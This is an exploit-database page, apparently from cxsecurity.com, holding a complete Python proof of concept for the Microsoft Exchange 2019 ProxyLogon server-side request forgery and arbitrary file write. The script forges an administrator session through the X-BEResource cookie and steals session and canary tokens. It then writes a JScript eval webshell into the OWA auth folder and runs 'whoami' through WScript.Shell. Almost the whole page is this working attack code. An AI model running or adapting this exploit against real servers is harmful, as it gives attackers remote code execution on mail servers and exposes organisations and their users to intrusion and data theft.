Microsoft Exchange 2019 SSRF / Arbitrary File Write

2021.03.18
Credit: F5
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

import requests from urllib3.exceptions import InsecureRequestWarning import random import string import sys def id_generator(size=6, chars=string.ascii_lowercase + string.digits): return ''.join(random.choice(chars) for _ in range(size)) if len(sys.argv) < 2: print("使用方式: python PoC.py <target> <email>") print("使用方式: python PoC.py mail.btwaf.cn test2@btwaf.cn") exit() proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"} requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) target = sys.argv[1] email = sys.argv[2] random_name = id_generator(4) + ".js" user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36" shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\test11.aspx" shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path # webshell-马子内容 shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["code"],"unsafe");}</script>' autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"> <Request> <EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema> </Request> </Autodiscover> """ % email print("正在获取Exchange Server " + target+"权限") print("=============================") FQDN = "EXCHANGE01" ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522", "User-Agent": user_agent}, verify=False,proxies=proxies) if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers: FQDN = ct.headers["X-FEServer"] ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN, "Content-Type": "text/xml", "User-Agent": user_agent}, data=autoDiscoverBody, proxies=proxies, verify=False ) if ct.status_code != 200: print(ct.status_code) print("Autodiscover Error!") exit() if "<LegacyDN>" not in str(ct.content): print("Can not get LegacyDN!") exit() legacyDn = str(ct.content).split("<LegacyDN>")[1].split(r"</LegacyDN>")[0] print("Got DN: " + legacyDn) mapi_body = legacyDn + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00" ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=Administrator@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;" % FQDN, "Content-Type": "application/mapi-http", "X-Requesttype": "Connect", "X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}", "X-Clientapplication": "Outlook/15.0.4815.1002", "X-Requestid": "{E2EA6C1C-E61B-49E9-9CFB-38184F907552}:123456", "User-Agent": user_agent }, data=mapi_body, verify=False, proxies=proxies ) if ct.status_code != 200 or "act as owner of a UserMailbox" not in str(ct.content): print("Mapi Error!") exit() sid = str(ct.content).split("with SID ")[1].split(" and MasterAccountSid")[0] print("Got SID: " + sid) sid = sid.replace(sid.split("-")[-1],"500") proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r> """ % sid ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=Administrator@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN, "Content-Type": "text/xml", "msExchLogonMailbox": "S-1-5-20", "User-Agent": user_agent }, data=proxyLogon_request, proxies=proxies, verify=False ) if ct.status_code != 241 or not "set-cookie" in ct.headers: print("Proxylogon Error!") exit() sess_id = ct.headers['set-cookie'].split("ASP.NET_SessionId=")[1].split(";")[0] msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0] print("Got session id: " + sess_id) print("Got canary: " + msExchEcpCanary) ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % ( FQDN, msExchEcpCanary, sess_id, msExchEcpCanary), "Content-Type": "application/json; ", "msExchLogonMailbox": "S-1-5-20", "User-Agent": user_agent }, json={"filter": { "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}}, verify=False ) if ct.status_code != 200: print("GetOAB Error!") exit() oabId = str(ct.content).split('"RawIdentity":"')[1].split('"')[0] print("Got OAB id: " + oabId) oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId}, "properties": { "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "ExternalUrl": "http://ffff/#%s" % shell_content}}} ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % ( FQDN, msExchEcpCanary, sess_id, msExchEcpCanary), "msExchLogonMailbox": "S-1-5-20", "Content-Type": "application/json; charset=utf-8", "User-Agent": user_agent }, json=oab_json, verify=False ) if ct.status_code != 200: print("Set external url Error!") exit() reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId}, "properties": { "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "FilePathName": shell_absolute_path}}} ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % ( FQDN, msExchEcpCanary, sess_id, msExchEcpCanary), "msExchLogonMailbox": "S-1-5-20", "Content-Type": "application/json; charset=utf-8", "User-Agent": user_agent }, json=reset_oab_body, verify=False ) if ct.status_code != 200: print("写入shell失败了啊") exit() print("成功了。马上就验证shell是否OK!") print("POST shell:https://"+target+"/owa/auth/test11.aspx") shell_url="https://"+target+"/owa/auth/test11.aspx" print('code=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami").StdOut.ReadAll());') print("正在请求shell") data=requests.post(shell_url,data={"code":"Response.Write(new ActiveXObject(\"WScript.Shell\").exec(\"whoami\").StdOut.ReadAll());"},verify=False) if data.status_code != 200: print("写入shell失败") else: print("权限如下:"+data.text.split("OAB (Default Web Site)")[0].replace("Name : ",""))


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top